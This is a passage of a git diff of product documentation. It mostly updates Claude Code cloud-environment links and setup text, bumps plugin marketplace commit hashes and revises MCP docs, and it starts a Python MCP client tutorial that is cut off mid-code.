-The **Default** environment uses **Trusted** network access: the [default allowlist](/docs/en/claude-code-on-the-web#default-allowed-domains) of package registries, cloud provider APIs, container registries, and common development domains is reachable, but arbitrary domains are not. Outbound requests to other hosts fail with `403` and `x-deny-reason: host_not_allowed`. MCP connector traffic is routed through Anthropic's servers, so the connectors you add to the routine work without adding their hosts to **Allowed domains**. Remove any connectors you don't need under [Connectors](#connectors).
+The **Default** environment uses **Trusted** network access, which allows only the [default allowlist](/docs/en/cloud-environments#default-allowed-domains) through the session's network. Requests on that path to hosts outside the allowlist fail with `403` and `x-deny-reason: host_not_allowed`. MCP connector traffic is routed through Anthropic's servers rather than that path, so the connectors you add to the routine work without adding their hosts to **Allowed domains**. Remove any connectors you don't need under [Connectors](#connectors).
To allow additional domains:
@@ -360,7 +360,7 @@ To allow additional domains:
- In the **Update cloud environment** dialog, change **Network access** to **Custom** and enter your domains in **Allowed domains**. Check **Also include default list of common package managers** to keep the [default allowlist](/docs/en/claude-code-on-the-web#default-allowed-domains) alongside your custom domains. Select **Full** instead for unrestricted access.
+ In the **Update cloud environment** dialog, change **Network access** to **Custom** and enter your domains in **Allowed domains**. Check **Also include default list of common package managers** to keep the [default allowlist](/docs/en/cloud-environments#default-allowed-domains) alongside your custom domains. Select **Full** instead for unrestricted access.
@@ -368,7 +368,7 @@ To allow additional domains:
-See [Network access](/docs/en/claude-code-on-the-web#network-access) for details on access levels and the default allowlist.
+See [Network access](/docs/en/cloud-environments#network-access) for details on access levels and the default allowlist.
## Usage and limits
@@ -402,6 +402,6 @@ An Owner in your Team or Enterprise organization has likely turned off the **Rou
* [`/loop` and in-session scheduling](/docs/en/scheduled-tasks): schedule local tasks within an open CLI session
* [Desktop scheduled tasks](/docs/en/desktop-scheduled-tasks): local scheduled tasks that run on your machine with access to local files
-* [Cloud environment](/docs/en/claude-code-on-the-web#the-cloud-environment): configure the runtime environment for cloud sessions
+* [Cloud environments](/docs/en/cloud-environments): configure network access, environment variables, and setup scripts for cloud sessions
* [MCP connectors](/docs/en/mcp): connect external services like Slack, Linear, and Google Drive
* [GitHub Actions](/docs/en/github-actions): run Claude in your CI pipeline on repository events
diff --git a/content/en/docs/claude-code/security.md b/content/en/docs/claude-code/security.md
index 7fea0f47a..c2e1dc461 100644
--- a/content/en/docs/claude-code/security.md
+++ b/content/en/docs/claude-code/security.md
@@ -102,10 +102,10 @@ When using [Claude Code on the web](/docs/en/claude-code-on-the-web), additional
* **Network access controls**: Network access is limited by default and can be configured to be disabled or allow only specific domains
* **Credential protection**: Authentication is handled through a secure proxy that uses a scoped credential inside the sandbox, which is then translated to your actual GitHub authentication token
* **Branch restrictions**: Git push operations are restricted to the current working branch
-* **Audit logging**: All operations in cloud environments are logged for compliance and audit purposes
-* **Automatic cleanup**: Cloud environments are automatically terminated after session completion
+* **Audit logging**: All operations in cloud sessions are logged for compliance and audit purposes
+* **Automatic cleanup**: Session VMs are reclaimed after a period of inactivity
-For more details on cloud execution, see [Claude Code on the web](/docs/en/claude-code-on-the-web).
+For more details on cloud execution, see [Claude Code on the web](/docs/en/claude-code-on-the-web); to configure network access for cloud sessions, see [Configure cloud environments](/docs/en/cloud-environments#network-access).
[Remote Control](/docs/en/remote-control) sessions work differently: the web interface connects to a Claude Code process running on your local machine. All code execution and file access stays local, and session traffic travels through the Anthropic API over TLS; while connected, the session transcript is stored on Anthropic servers to sync the conversation across devices, as described in [Connection and security](/docs/en/remote-control#connection-and-security). No cloud VMs or sandboxing are involved. The connection uses multiple short-lived, narrowly scoped credentials, each limited to a specific purpose and expiring independently, to limit the blast radius of any single compromised credential.
diff --git a/content/en/docs/claude-code/settings.md b/content/en/docs/claude-code/settings.md
index 9c9022006..94985171b 100644
--- a/content/en/docs/claude-code/settings.md
+++ b/content/en/docs/claude-code/settings.md
@@ -305,6 +305,7 @@ This tolerance applies only to managed settings. User, project, and local settin
| `prefersReducedMotion` | Reduce or disable UI animations (spinners, shimmer, flash effects) for accessibility | `true` |
| `processWrapper` | {/* min-version: 2.1.210 */}Corporate launcher command placed in front of the [background processes Claude Code starts](/docs/en/corporate-launcher#what-the-launcher-covers). Honored from managed settings, a `--settings` file, and user settings only; the [`CLAUDE_CODE_PROCESS_WRAPPER`](/docs/en/env-vars) environment variable takes precedence when both are set. See [Run Claude Code behind a corporate launcher](/docs/en/corporate-launcher) for the launcher contract. Requires Claude Code v2.1.210 or later | `"/opt/corp/launcher --profile claude"` |
| `prUrlTemplate` | URL template for the PR badge shown in the footer and in tool-result summaries. Substitutes `{host}`, `{owner}`, `{repo}`, `{number}`, and `{url}` from the `gh`-reported PR URL. Use to point PR links at an internal code-review tool instead of `github.com`. Does not affect `#123` autolinks in Claude's prose | `"https://reviews.example.com/{owner}/{repo}/pull/{number}"` |
+| `remote.defaultEnvironmentId` | Default [cloud environment](/docs/en/cloud-environments) for cloud sessions you create from the CLI, such as with `claude --cloud` or [ultraplan](/docs/en/ultraplan). Written to user settings when you pick an environment with [`/remote-env`](/docs/en/cloud-environments#select-an-environment-from-the-cli). Follows the standard settings precedence, so a value in a repo's project settings overrides the user-level pick | `"env_0123abcd"` |
| `remoteControlAtStartup` | {/* min-version: 2.1.119 */}Connect [Remote Control](/docs/en/remote-control) automatically when each interactive session starts, instead of waiting for `/remote-control`. Set to `true` to always auto-connect, `false` to never auto-connect, or leave unset to follow your organization's default. Appears in `/config` as **Enable Remote Control for all sessions**. See [Enable Remote Control for all sessions](/docs/en/remote-control#enable-remote-control-for-all-sessions) | `false` |
| `requiredMaximumVersion` | Managed settings only. Maximum Claude Code version allowed to start. If the running version is newer, Claude Code exits at startup and instructs the user to install an approved version through the organization's approved method; `claude install ` may also work. Background auto-updates and `claude update` skip versions above the ceiling, so an in-range installation stays in range. `claude update`, `claude install`, and `claude doctor` keep working above the ceiling so users can recover. Versions that predate this setting ignore it | `"2.1.150"` |
| `requiredMinimumVersion` | Managed settings only. Minimum Claude Code version required to start. If the running version is older, Claude Code exits at startup and instructs the user to update through the organization's approved method. `claude update`, `claude install`, and `claude doctor` keep working below the floor so users can recover. Differs from `minimumVersion`, which prevents downgrades but never blocks startup. Versions that predate this setting ignore it | `"2.1.150"` |
@@ -486,11 +487,11 @@ Claude Code adds attribution to git commits and pull requests. These are configu
* Commits use [git trailers](https://git-scm.com/docs/git-interpret-trailers) (like `Co-Authored-By`) by default, which can be customized or disabled
* Pull request descriptions are plain text
-| Keys | Description |
-| :----------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| `commit` | Attribution for git commits, including any trailers. Empty string hides commit attribution |
-| `pr` | Attribution for pull request descriptions. Empty string hides pull request attribution |
-| `sessionUrl` | Whether to append the claude.ai session link as a `Claude-Session` trailer on commits and a link in pull request descriptions when running from a web or Remote Control session. Defaults to `true`. Set to `false` to omit the link |
+| Keys | Description |
+| :----------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `commit` | Attribution for git commits, including any trailers. Empty string hides commit attribution |
+| `pr` | Attribution for pull request descriptions. Empty string hides pull request attribution |
+| `sessionUrl` | Whether to append the claude.ai session link as a `Claude-Session` trailer on commits and a link in pull request descriptions when running from a cloud or Remote Control session. Defaults to `true`. Set to `false` to omit the link |
**Default commit attribution:**
diff --git a/content/en/docs/claude-code/skills.md b/content/en/docs/claude-code/skills.md
index 56e346617..ccc989004 100644
--- a/content/en/docs/claude-code/skills.md
+++ b/content/en/docs/claude-code/skills.md
@@ -177,12 +177,12 @@ Other `.claude/` configuration such as commands and output styles is not loaded
#### Skills in Cowork and cloud sessions
-[Cowork](https://claude.com/product/cowork) sessions and [cloud sessions](/docs/en/claude-code-on-the-web#the-cloud-environment), including [routines](/docs/en/routines), don't read `~/.claude/skills/` on your machine. Both interactive and scheduled Cowork sessions load the skills enabled for your claude.ai account, synced at session start; manage them from **Customize** in the Desktop app sidebar or from the skills settings on claude.ai. Cloud sessions additionally load project skills committed to the cloned repository's `.claude/skills/`.
+[Cowork](https://claude.com/product/cowork) sessions and [cloud sessions](/docs/en/cloud-environments#what-carries-over-from-your-setup), including [routines](/docs/en/routines), don't read `~/.claude/skills/` on your machine. Both interactive and scheduled Cowork sessions load the skills enabled for your claude.ai account, synced at session start; manage them from **Customize** in the Desktop app sidebar or from the skills settings on claude.ai. Cloud sessions additionally load project skills committed to the cloned repository's `.claude/skills/`.
If a skill exists only in `~/.claude/skills/` on your machine, Claude Code reports that the skill was not found when a [routine](/docs/en/routines) invokes it, because each routine run starts as a fresh remote session. To make a personal skill available in these sessions:
* For Cowork and cloud sessions, enable the skill for your claude.ai account.
-* For cloud sessions, you can instead commit the skill to the repository's `.claude/skills/`, or ship it in a plugin declared in the repository's `.claude/settings.json`. Repo-declared plugins [install at session start](/docs/en/claude-code-on-the-web#what’s-available-in-cloud-sessions); plugins enabled only in your user settings don't transfer.
+* For cloud sessions, you can instead commit the skill to the repository's `.claude/skills/`, or ship it in a plugin declared in the repository's `.claude/settings.json`. Repo-declared plugins [install at session start](/docs/en/cloud-environments#what-carries-over-from-your-setup); plugins enabled only in your user settings don't transfer.
[Desktop scheduled tasks](/docs/en/desktop-scheduled-tasks) are different: they run locally on your machine and load skills from the same locations as any other local session.
diff --git a/content/en/docs/claude-code/ultraplan.md b/content/en/docs/claude-code/ultraplan.md
index 4c21c88cd..d6a626e9e 100644
--- a/content/en/docs/claude-code/ultraplan.md
+++ b/content/en/docs/claude-code/ultraplan.md
@@ -18,7 +18,7 @@ This is useful when you want a richer review surface than the terminal offers:
* **Hands-off drafting**: the plan is generated remotely, so your terminal stays free for other work
* **Flexible execution**: approve the plan to run on the web and open a pull request, or send it back to your terminal
-Ultraplan requires a [Claude Code on the web](/docs/en/claude-code-on-the-web) account and a GitHub repository. Because it runs on Anthropic's cloud infrastructure, it is not available when using Amazon Bedrock, Google Cloud's Agent Platform, or Microsoft Foundry. The cloud session runs in your account's default [cloud environment](/docs/en/claude-code-on-the-web#the-cloud-environment). If you don't have a cloud environment yet, ultraplan creates one automatically when it first launches.
+Ultraplan requires a [Claude Code on the web](/docs/en/claude-code-on-the-web) account and a GitHub repository. Because it runs on Anthropic's cloud infrastructure, it is not available when using Amazon Bedrock, Google Cloud's Agent Platform, or Microsoft Foundry. The cloud session runs in your default [cloud environment](/docs/en/cloud-environments); use [`/remote-env`](/docs/en/cloud-environments#select-an-environment-from-the-cli) in your terminal to change which environment that is. If you don't have a cloud environment yet, ultraplan creates one automatically when it first launches.
## Launch ultraplan from the CLI
diff --git a/content/en/docs/claude-code/web-quickstart.md b/content/en/docs/claude-code/web-quickstart.md
index 155962c37..ddf793efb 100644
--- a/content/en/docs/claude-code/web-quickstart.md
+++ b/content/en/docs/claude-code/web-quickstart.md
@@ -12,7 +12,7 @@
Claude Code on the web runs on Anthropic-managed cloud infrastructure instead of your machine. Submit tasks from [claude.ai/code](https://claude.ai/code) in your browser or the Claude mobile app.
-You'll need a GitHub repository to [get started](#connect-github-and-create-an-environment). Claude clones it into an isolated virtual machine, makes changes, and pushes a branch for you to review. Sessions persist across devices, so a task you start on your laptop is ready to review from your phone later.
+You'll need a GitHub repository to [get started](#connect-github). Claude clones it into an isolated virtual machine, makes changes, and pushes a branch for you to review. Sessions persist across devices, so a task you start on your laptop is ready to review from your phone later.
Claude Code on the web works well for:
@@ -27,8 +27,8 @@ For work that needs your local config, tools, or environment, running Claude Cod
When you submit a task:
-1. **Clone and prepare**: your repository is cloned to an Anthropic-managed VM, and your [setup script](/docs/en/claude-code-on-the-web#setup-scripts) runs if configured.
-2. **Configure network**: internet access is set based on your environment's [access level](/docs/en/claude-code-on-the-web#access-levels).
+1. **Clone and prepare**: your repository is cloned to an Anthropic-managed VM, and your [setup script](/docs/en/cloud-environments#setup-scripts) runs if configured.
+2. **Configure network**: internet access is set based on your environment's [access level](/docs/en/cloud-environments#access-levels).
3. **Work**: Claude analyzes code, makes changes, runs tests, and checks its work. You can watch and steer throughout, or step away and come back when it's done.
4. **Push the branch**: when Claude reaches a stopping point, it pushes its branch to GitHub. You review the diff, leave inline comments, create a PR, or send another message to keep going.
@@ -50,7 +50,7 @@ Claude Code behaves the same everywhere. What changes is where code executes and
See the [terminal quickstart](/docs/en/quickstart), [Desktop app](/docs/en/desktop), or [Remote Control](/docs/en/remote-control) docs to set those up.
-## Connect GitHub and create an environment
+## Connect GitHub
Setup is a one-time process. If you already use the GitHub CLI, you can [do this from your terminal](#connect-from-your-terminal) instead of the browser.
@@ -63,17 +63,10 @@ Setup is a one-time process. If you already use the GitHub CLI, you can [do this
After signing in, claude.ai/code prompts you to connect GitHub. Follow the prompt to install the Claude GitHub App and grant it access to your repositories. Cloud sessions work with existing GitHub repositories, so to start a new project, [create an empty repository on GitHub](https://github.com/new) first.
-
- After connecting GitHub, you'll be prompted to create a cloud environment. The environment controls what network access Claude has during sessions and what runs when a new session is created. See [Installed tools](/docs/en/claude-code-on-the-web#installed-tools) for what's available without any configuration.
+
+ When you finish connecting GitHub, onboarding creates a [cloud environment](/docs/en/cloud-environments) named **Default** for you; if onboarding shows an environment form instead, keep its defaults to create the same **Default** environment. The environment controls what network access Claude has during sessions and what runs when a new session is created. **Default** uses [`Trusted` network access](/docs/en/cloud-environments#access-levels): sessions reach [common package registries](/docs/en/cloud-environments#default-allowed-domains) and other allowlisted domains, and nothing else through the session's network. See [Installed tools](/docs/en/cloud-environments#installed-tools) for what's available without any configuration.
- The form has these fields:
-
- * **Name**: a display label. Useful when you have multiple environments for different projects or access levels.
- * **Network access**: controls what the session can reach on the internet. The default, `Trusted`, allows connections to [common package registries](/docs/en/claude-code-on-the-web#default-allowed-domains) like npm, PyPI, and RubyGems while blocking general internet access.
- * **Environment variables**: optional variables available in every session, in `.env` format. Don't wrap values in quotes, since quotes are stored as part of the value. These are visible to anyone who can edit this environment.
- * **Setup script**: an optional Bash script that runs before Claude Code launches. Use it to install system tools the cloud VM doesn't include, like `apt install -y gh`. The result is [cached](/docs/en/claude-code-on-the-web#environment-caching), so the script doesn't re-run on every session. See [Setup scripts](/docs/en/claude-code-on-the-web#setup-scripts) for examples and debugging tips.
-
- For a first project, leave the defaults and click **Create environment**. You can [edit it later or create additional environments](/docs/en/claude-code-on-the-web#configure-your-environment) for different projects.
+ For a first project, the **Default** environment works as is. To change its network access, add environment variables, or run a [setup script](/docs/en/cloud-environments#setup-scripts) before sessions start, [edit it or create additional environments](/docs/en/cloud-environments#configure-your-environment).
@@ -105,7 +98,7 @@ If you already use the GitHub CLI (`gh`), you can set up Claude Code on the web
/web-setup
```
- This syncs your `gh` token to your Claude account. If you don't have a cloud environment yet, `/web-setup` creates one with Trusted network access and no setup script. You can [edit the environment or add variables](/docs/en/claude-code-on-the-web#configure-your-environment) afterward. Once `/web-setup` completes, you can start cloud sessions from your terminal with [`--cloud`](/docs/en/claude-code-on-the-web#from-terminal-to-web) or set up recurring tasks with [`/schedule`](/docs/en/routines).
+ This syncs your `gh` token to your Claude account. If you don't have a cloud environment yet, `/web-setup` creates one with Trusted network access and no setup script. You can [edit the environment or add variables](/docs/en/cloud-environments#configure-your-environment) afterward. Once `/web-setup` completes, you can start cloud sessions from your terminal with [`--cloud`](/docs/en/claude-code-on-the-web#from-terminal-to-web) or set up recurring tasks with [`/schedule`](/docs/en/routines).
@@ -142,7 +135,7 @@ You can prefill the prompt, repositories, and environment for a new session by a
| `prompt` | Prompt text to prefill in the input box. The alias `q` is also accepted. |
| `prompt_url` | URL to fetch the prompt text from, for prompts too long to embed in a query string. The URL must allow cross-origin requests. Ignored when `prompt` is also set. |
| `repositories` | Comma-separated list of `owner/repo` slugs to preselect. The alias `repo` is also accepted. |
-| `environment` | Name or ID of the [environment](#connect-github-and-create-an-environment) to preselect. |
+| `environment` | Name or ID of the [environment](#connect-github) to preselect. |
URL-encode each value. The example below opens the form with a prompt and a repository already selected:
@@ -200,13 +193,13 @@ On Team and Enterprise plans, the command is also hidden when any of the followi
### "Could not create a cloud environment" or "No cloud environment available" when using `--cloud` or ultraplan
-Remote-session features create a default cloud environment automatically if you don't have one. If you see "Could not create a cloud environment", automatic creation failed. {/* max-version: 2.1.100 */}If you see "No cloud environment available", your CLI predates automatic creation. In either case, run `/web-setup` in the Claude Code CLI to create one manually, or visit [claude.ai/code](https://claude.ai/code) and follow the **Create your environment** step above.
+Remote-session features create a default cloud environment automatically if you don't have one. If you see "Could not create a cloud environment", automatic creation failed. {/* max-version: 2.1.100 */}If you see "No cloud environment available", your CLI predates automatic creation. In either case, run `/web-setup` in the Claude Code CLI, or add an environment from the [environment selector](/docs/en/cloud-environments#configure-your-environment) at [claude.ai/code](https://claude.ai/code).
### Setup script failed
The setup script exited with a non-zero status, which blocks the session from starting. Common causes:
-* A package install failed because the registry isn't in your [network access level](/docs/en/claude-code-on-the-web#access-levels). `Trusted` covers most package managers; `None` blocks them all.
+* A package install failed because the registry isn't in your [network access level](/docs/en/cloud-environments#access-levels). `Trusted` covers most package managers; `None` blocks them all.
* The script references a file or path that doesn't exist in a fresh clone.
* A command that works locally needs a different invocation on Ubuntu.
@@ -214,12 +207,12 @@ To debug, add `set -x` at the top of the script to see which command failed. For
### New sessions hang or time out during setup
-If new sessions stall on the setup script step or fail with a generic container error before the script finishes, the script is likely exceeding the roughly five-minute time budget for building the [environment cache](/docs/en/claude-code-on-the-web#environment-caching). Heavy steps such as pulling large Docker images, syncing full dependency trees, or downloading model weights often push the total over the limit, especially when they run one after another.
+If new sessions stall on the setup script step or fail with a generic container error before the script finishes, the script is likely exceeding the roughly five-minute time budget for building the [environment cache](/docs/en/cloud-environments#environment-caching). Heavy steps such as pulling large Docker images, syncing full dependency trees, or downloading model weights often push the total over the limit, especially when they run one after another.
To fix this, trim the script so it reliably finishes in under five minutes:
* Run independent installs in parallel with `&` and a final `wait` instead of running them serially.
-* Move the largest downloads out of the setup script and into a [SessionStart hook](/docs/en/claude-code-on-the-web#setup-scripts-vs-sessionstart-hooks) that launches them in the background, so the session becomes usable while they finish.
+* Move the largest downloads out of the setup script and into a [SessionStart hook](/docs/en/cloud-environments#setup-scripts-vs-sessionstart-hooks) that launches them in the background, so the session becomes usable while they finish.
* Remove long retry sleeps from the setup script, since a stalled retry loop counts against the budget.
### Session keeps running after closing the tab
@@ -230,7 +223,8 @@ This is by design. Closing the tab or navigating away doesn't stop the session.
Now that you can submit and review tasks, these pages cover what comes next: starting cloud sessions from your terminal, scheduling recurring work, and giving Claude standing instructions.
-* [Use Claude Code on the web](/docs/en/claude-code-on-the-web): the full reference, including teleporting sessions to your terminal, setup scripts, environment variables, and network config
+* [Use Claude Code on the web](/docs/en/claude-code-on-the-web): the full reference, including teleporting sessions to your terminal, session sharing, and auto-fixing pull requests
+* [Configure cloud environments](/docs/en/cloud-environments): network access levels, environment variables, and setup scripts for cloud sessions
* [Routines](/docs/en/routines): automate work on a schedule, via API call, or in response to GitHub events
* [CLAUDE.md](/docs/en/memory): give Claude persistent instructions and context that load at the start of every session
* Install the Claude mobile app for [iOS](https://apps.apple.com/us/app/claude-by-anthropic/id6473753684) or [Android](https://play.google.com/store/apps/details?id=com.anthropic.claude) to monitor sessions from your phone. From the Claude Code CLI, `/mobile` shows a QR code.
diff --git a/content/github/anthropic-sdk-python/CHANGELOG.md b/content/github/anthropic-sdk-python/CHANGELOG.md
index cb4b62b50..3b6ea9351 100644
--- a/content/github/anthropic-sdk-python/CHANGELOG.md
+++ b/content/github/anthropic-sdk-python/CHANGELOG.md
@@ -1,5 +1,13 @@
# Changelog
+## 0.120.1 (2026-07-28)
+
+Full Changelog: [v0.120.0...v0.120.1](https://github.com/anthropics/anthropic-sdk-python/compare/v0.120.0...v0.120.1)
+
+### Bug Fixes
+
+* **mcp:** pin mcp extra to <2 ([#1783](https://github.com/anthropics/anthropic-sdk-python/issues/1783)) ([fb66371](https://github.com/anthropics/anthropic-sdk-python/commit/fb66371322621be23a0956f1998da39c4686f4cb))
+
## 0.120.0 (2026-07-24)
Full Changelog: [v0.119.0...v0.120.0](https://github.com/anthropics/anthropic-sdk-python/compare/v0.119.0...v0.120.0)
diff --git a/content/github/claude-plugins-official/.claude-plugin/marketplace.json b/content/github/claude-plugins-official/.claude-plugin/marketplace.json
index 3c8e5ad0c..3b74bd17e 100644
--- a/content/github/claude-plugins-official/.claude-plugin/marketplace.json
+++ b/content/github/claude-plugins-official/.claude-plugin/marketplace.json
@@ -497,7 +497,7 @@
"source": {
"source": "url",
"url": "https://github.com/microsoft/azure-sql-database-container.git",
- "sha": "a8c1c3ad3ae9b7a21cbc98c07c4963fbcd4cc18c"
+ "sha": "6b74515eee884606297b332661ff227f0d312360"
},
"homepage": "https://github.com/microsoft/azure-sql-database-container"
},
@@ -720,7 +720,7 @@
"source": {
"source": "url",
"url": "https://github.com/cap-js/mcp-server.git",
- "sha": "b78913198fe1021f0d8b36b0e4ba0ca27003452f"
+ "sha": "1f08b6288ca1b78a0200c003a5cc787aafe5bd06"
},
"homepage": "https://cap.cloud.sap/"
},
@@ -1205,7 +1205,7 @@
"url": "https://github.com/databricks/databricks-agent-skills.git",
"path": "plugins/databricks/claude",
"ref": "main",
- "sha": "fe11006e356b6d995bb4aa359d428c61908914d3"
+ "sha": "d5bde7ba51c1ba9392f89e7ee2fd45c16f90007d"
},
"homepage": "https://developers.databricks.com/"
},
@@ -1738,7 +1738,7 @@
"source": {
"source": "url",
"url": "https://github.com/heygen-com/hyperframes.git",
- "sha": "4b75eb1f2560e9fa8b8adb459c59b9832a852d3b"
+ "sha": "dbdc940833c5a8278f56227bfaca775a4413b1ca"
},
"homepage": "https://hyperframes.heygen.com"
},
@@ -3007,7 +3007,7 @@
"source": {
"source": "url",
"url": "https://github.com/cap-js/mcp-server.git",
- "sha": "b78913198fe1021f0d8b36b0e4ba0ca27003452f"
+ "sha": "1f08b6288ca1b78a0200c003a5cc787aafe5bd06"
},
"homepage": "https://cap.cloud.sap/"
},
@@ -3306,7 +3306,7 @@
"url": "https://github.com/stackhawk/agent-skills.git",
"path": "plugins/hawkscan",
"ref": "main",
- "sha": "ba4bab433d31dc313de2ac6e72a43318b31f28dd"
+ "sha": "2afbfaebe5f3c9c93c81347cf2826e05f1331826"
},
"homepage": "https://docs.stackhawk.com/ai-security/"
},
@@ -3508,7 +3508,7 @@
"url": "https://github.com/SAP/ui-theme-designer-plugins-for-coding-agents.git",
"path": "plugins/ui-theme-designer",
"ref": "main",
- "sha": "7709e93fd6ebce5af7f2e729c357a3fae252c471"
+ "sha": "4e30f5750f760cca24a898c3a6daa8eebfa060a0"
},
"homepage": "https://github.com/SAP/ui-theme-designer-plugins-for-coding-agents"
},
@@ -3684,7 +3684,7 @@
"source": {
"source": "url",
"url": "https://github.com/wix/skills.git",
- "sha": "9e3b2d557b3f2bfaf49b34fdb32ef3d6c2fc9722"
+ "sha": "5498215d69d8df054cbaed35c85b1555f249299f"
},
"homepage": "https://dev.wix.com/docs/wix-cli/guides/development/about-wix-skills"
},
@@ -3805,7 +3805,7 @@
"source": {
"source": "url",
"url": "https://github.com/langfuse/skills.git",
- "sha": "93d828270359da1618c97bd1e812fb6fc11646c4"
+ "sha": "e42071670d01e537c16f4931d81c3e388f41346e"
},
"homepage": "https://langfuse.com"
},
diff --git a/content/mcp/community/design-principles.md b/content/mcp/community/design-principles.md
index 44d1a3d79..1fb1c0b20 100644
--- a/content/mcp/community/design-principles.md
+++ b/content/mcp/community/design-principles.md
@@ -16,9 +16,9 @@ There should be one way to solve a problem in MCP. Rather than supporting multip
## Composability over specificity
-MCP provides foundational primitives: resources, tools, prompts, and tasks. We don't add protocol features for use cases that can be constructed from these existing building blocks. This keeps the surface area small and implementations simple.
+MCP provides foundational primitives: resources, tools, and prompts. We don't add protocol features for use cases that can be constructed from these existing building blocks. This keeps the surface area small and implementations simple.
-When someone asks why MCP doesn't support a feature directly, the answer is usually that it can be built from what MCP already provides. Extensions like [MCP Apps](/extensions/apps/overview) capture the patterns that emerge.
+When someone asks why MCP doesn't support a feature directly, the answer is usually that it can be built from what MCP already provides. Extensions like [MCP Apps](/extensions/apps/overview) and [Tasks](/extensions/tasks/overview) capture the patterns that emerge.
## Interoperability over optimization
diff --git a/content/mcp/community/sdk-tiers.md b/content/mcp/community/sdk-tiers.md
index 08e3b7430..89b8410f7 100644
--- a/content/mcp/community/sdk-tiers.md
+++ b/content/mcp/community/sdk-tiers.md
@@ -28,7 +28,7 @@ SDKs are classified into three tiers based on feature completeness, maintenance
* **Tier 2**: Actively-maintained SDKs working toward full protocol specification support
* **Tier 3**: Experimental, partially implemented, or specialized SDKs
-Experimental features (such as Tasks) and protocol extensions (such as MCP Apps) are not required
+Experimental features and protocol extensions (such as Tasks and MCP Apps) are not required
for any tier.
## Tier Requirements
diff --git a/content/mcp/development/roadmap.md b/content/mcp/development/roadmap.md
index dfab66052..457be1e4d 100644
--- a/content/mcp/development/roadmap.md
+++ b/content/mcp/development/roadmap.md
@@ -41,7 +41,7 @@ We will **not** be introducing additional official transports this cycle. Keepin
### 2. Agent Communication
-The Tasks primitive ([SEP-1686](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1686)) gave agents a reliable call-now / fetch-later pattern. Running it in production has surfaced gaps in the lifecycle semantics that the **Agents WG** should close:
+The Tasks extension ([SEP-2663](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2663)) gave agents a reliable call-now / fetch-later pattern. Running it in production has surfaced gaps in the lifecycle semantics that the **Agents WG** should close:
* **Retry semantics**: what happens when a task fails transiently, and who decides whether to retry.
* **Expiry policies**: how long results are retained after completion, and how clients learn a result has expired.
diff --git a/content/mcp/docs/2024-11-05/develop/build-client.md b/content/mcp/docs/2024-11-05/develop/build-client.md
new file mode 100644
index 000000000..44c8cb3f7
--- /dev/null
+++ b/content/mcp/docs/2024-11-05/develop/build-client.md
@@ -0,0 +1,2514 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Build an MCP client
+
+> Get started building your own client that can integrate with all MCP servers.
+
+In this tutorial, you'll learn how to build an LLM-powered chatbot client that connects to MCP servers.
+
+Before you begin, it helps to have gone through our [Build an MCP Server](/docs/2024-11-05/develop/build-server) tutorial so you can understand how clients and servers communicate.
+
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-python)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * Mac or Windows computer
+ * Latest Python version installed
+ * Latest version of `uv` installed
+
+ ## Setting Up Your Environment
+
+ First, create a new Python project with `uv`:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create project directory
+ uv init mcp-client
+ cd mcp-client
+
+ # Create virtual environment
+ uv venv
+
+ # Activate virtual environment
+ source .venv/bin/activate
+
+ # Install required packages
+ uv add mcp anthropic python-dotenv
+
+ # Remove boilerplate files
+ rm main.py
+
+ # Create our main file
+ touch client.py
+ ```
+
+ ```powershell Windows theme={null}
+ # Create project directory
+ uv init mcp-client
+ cd mcp-client
+
+ # Create virtual environment
+ uv venv
+
+ # Activate virtual environment
+ .venv\Scripts\activate
+
+ # Install required packages
+ uv add mcp anthropic python-dotenv
+
+ # Remove boilerplate files
+ del main.py
+
+ # Create our main file
+ new-item client.py
+ ```
+
+
+ ## Setting Up Your API Key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ Create a `.env` file to store it:
+
+ ```bash theme={null}
+ echo "ANTHROPIC_API_KEY=your-api-key-goes-here" > .env
+ ```
+
+ Add `.env` to your `.gitignore`:
+
+ ```bash theme={null}
+ echo ".env" >> .gitignore
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` secure!
+
+
+ ## Creating the Client
+
+ ### Basic Client Structure
+
+ First, let's set up our imports and create the basic client class:
+
+ ```python theme={null}
+ import asyncio
+ from typing import Optional
+ from contextlib import AsyncExitStack
+
+ from mcp import ClientSession, StdioServerParameters
+ from mcp.client.stdio import stdio_client
+
+ from anthropic import Anthropic
+ from dotenv import load_dotenv
+
+ load_dotenv() # load environment variables from .env
+
+ class MCPClient:
+ def __init__(self):
+ # Initialize session and client objects
+ self.session: Optional[ClientSession] = None
+ self.exit_stack = AsyncExitStack()
+ self.anthropic = Anthropic()
+ # methods will go here
+ ```
+
+ ### Server Connection Management
+
+ Next, we'll implement the method to connect to an MCP server:
+
+ ```python theme={null}
+ async def connect_to_server(self, server_script_path: str):
+ """Connect to an MCP server
+
+ Args:
+ server_script_path: Path to the server script (.py or .js)
+ """
+ is_python = server_script_path.endswith('.py')
+ is_js = server_script_path.endswith('.js')
+ if not (is_python or is_js):
+ raise ValueError("Server script must be a .py or .js file")
+
+ command = "python" if is_python else "node"
+ server_params = StdioServerParameters(
+ command=command,
+ args=[server_script_path],
+ env=None
+ )
+
+ stdio_transport = await self.exit_stack.enter_async_context(stdio_client(server_params))
+ self.stdio, self.write = stdio_transport
+ self.session = await self.exit_stack.enter_async_context(ClientSession(self.stdio, self.write))
+
+ await self.session.initialize()
+
+ # List available tools
+ response = await self.session.list_tools()
+ tools = response.tools
+ print("\nConnected to server with tools:", [tool.name for tool in tools])
+ ```
+
+ ### Query Processing Logic
+
+ Now let's add the core functionality for processing queries and handling tool calls:
+
+ ```python theme={null}
+ async def process_query(self, query: str) -> str:
+ """Process a query using Claude and available tools"""
+ messages = [
+ {
+ "role": "user",
+ "content": query
+ }
+ ]
+
+ response = await self.session.list_tools()
+ available_tools = [{
+ "name": tool.name,
+ "description": tool.description,
+ "input_schema": tool.inputSchema
+ } for tool in response.tools]
+
+ # Initial Claude API call
+ response = self.anthropic.messages.create(
